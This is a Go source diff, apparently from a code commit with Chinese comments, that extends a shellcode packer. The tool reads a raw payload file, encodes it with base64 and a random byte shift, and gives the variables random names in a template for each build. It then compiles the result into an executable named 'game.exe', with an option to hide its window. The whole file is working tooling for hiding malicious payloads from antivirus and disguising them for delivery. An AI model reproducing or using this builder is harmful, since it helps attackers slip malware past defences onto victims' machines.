@@ -4,44 +4,118 @@ import (
4
4
"encoding/base64"
5
5
"fmt"
6
6
"io/ioutil"
7
+ "math/rand"
7
8
"os"
9
+ "os/exec"
8
10
"strings"
11
+ "time"
9
12
)
10
13
11
- var kkk = []byte {0x23 , 0x32 }
14
+ var (
15
+ key []byte
16
+ keys string
17
+ keyName string
18
+ decodeName string
19
+ genName string
20
+ gd string
21
+ bbdataName string
22
+ shellCodeHex string
23
+ bdata string
24
+ )
25
+
26
+ func init () {
27
+ //初始化key
28
+ key = getKey ()
29
+ //key变量名
30
+ keyName = randString (4 )
31
+ //解码方法名
32
+ decodeName = randString (5 )
33
+ //生成exe方法名
34
+ genName = randString (3 )
35
+ //混淆方法名
36
+ gd = randString (6 )
37
+
38
+ //base64变量
39
+ bbdataName = randString (2 )
40
+
41
+ shellCodeHex = randString (4 )
42
+ }
43
+
44
+ func getKey () []byte {
45
+ keys = randString (2 )
46
+ b := []byte (keys )
47
+ return b
48
+ }
49
+
50
+ func randString (len int ) string {
51
+ r := rand .New (rand .NewSource (time .Now ().Unix ()))
52
+ bytes := make ([]byte , len )
53
+ for i := 0 ; i < len ; i ++ {
54
+ b := r .Intn (26 ) + 65
55
+ bytes [i ] = byte (b )
56
+ }
57
+ return string (bytes )
58
+ }
12
59
13
60
func getEnCode (data []byte ) string {
14
61
bdata1 := base64 .StdEncoding .EncodeToString (data )
15
62
bydata1 := []byte (bdata1 )
16
63
var shellcode []byte
17
64
18
65
for i := 0 ; i < len (bydata1 ); i ++ {
19
- shellcode = append (shellcode , bydata1 [i ]+ kkk [0 ]- kkk [1 ])
66
+ shellcode = append (shellcode , bydata1 [i ]+ key [0 ]- key [1 ])
20
67
}
21
68
return base64 .StdEncoding .EncodeToString (shellcode )
22
69
}
23
70
71
+ func gen (code * string ) {
72
+
73
+ * code = strings .ReplaceAll (* code , "$bdata" , bdata )
74
+ * code = strings .ReplaceAll (* code , "$bbdata" , bbdataName )
75
+ * code = strings .ReplaceAll (* code , "$keyName" , keyName )
76
+ * code = strings .ReplaceAll (* code , "$keys" , keys )
77
+ * code = strings .ReplaceAll (* code , "$shellCodeHex" , shellCodeHex )
78
+ * code = strings .ReplaceAll (* code , "$gd" , gd )
79
+ //*code=strings.ReplaceAll(*code, "$gdNum", ss)
80
+ * code = strings .ReplaceAll (* code , "$genEXE" , genName )
81
+ * code = strings .ReplaceAll (* code , "$getDeCode" , decodeName )
82
+
83
+ }
84
+
24
85
func main () {
25
86
26
87
path := "C:\\ Users\\ Administrator\\ Desktop\\ payload.bin"
27
88
if len (os .Args ) >= 2 {
28
89
path = os .Args [1 ]
29
90
}
30
91
sc , _ := ioutil .ReadFile (path )
31
- bdata := getEnCode (sc )
32
- fmt .Println (bdata )
33
- ioutil .WriteFile ("shellcode.txt" , []byte (bdata ), 0666 )
34
-
35
- tmpl , _ := ioutil .ReadFile ("./genExe" )
36
-
92
+ bdata = getEnCode (sc )
93
+ fmt .Println ("获取payload" , "---->" , path )
94
+ //fmt.Println(bdata)
95
+ time .Sleep (1 * time .Second )
96
+ //ioutil.WriteFile("shellcode.txt", []byte(bdata), 0666)
97
+ fmt .Println ("解析shellcode模板" )
98
+ time .Sleep (1 * time .Second )
99
+ tmpl , _ := ioutil .ReadFile ("./template" )
37
100
code := string (tmpl )
101
+ fmt .Println ("生成shellcode" )
102
+ time .Sleep (1 * time .Second )
38
103
39
- code = strings .ReplaceAll (code , "${bdata}" , bdata )
40
-
104
+ gen (& code )
41
105
ioutil .WriteFile ("shellcode.go" , []byte (code ), 0666 )
42
- //cmd := exec.Command("go", "build", "shellcode.go", "-ldflags=\"-s -w -H=windowsgui\"", "-o", "game.exe", "shellcode.go")
43
- //cmd:=exec.Command("go","build shellcode.go -ldflags=\"-s -w -H=windowsgui\" -o main2.exe shellcode.go")
44
- //cmd.Run()
45
- //os.Remove("shellcode.go")
106
+
107
+ fmt .Println ("编译shellcode" )
108
+ time .Sleep (1 * time .Second )
109
+
110
+ cmd := exec .Command ("cmd.exe" , "/c" , "go build -ldflags=-s -o game.exe ./shellcode.go" )
111
+ //隐藏窗口,如有需要自行替换
112
+ //cmd:= exec.Command("cmd.exe","/c","go build -ldflags=-s -ldflags=-H=windowsgui -o game.exe ./shellcode.go")
113
+ //阻塞至等待命令执行完成
114
+ err1 := cmd .Run ()
115
+ if err1 != nil {
116
+ panic (err1 )
117
+ }
118
+ fmt .Println ("game.exe" )
119
+ os .Remove ("shellcode.go" )
46
120
47
121
}
0 commit comments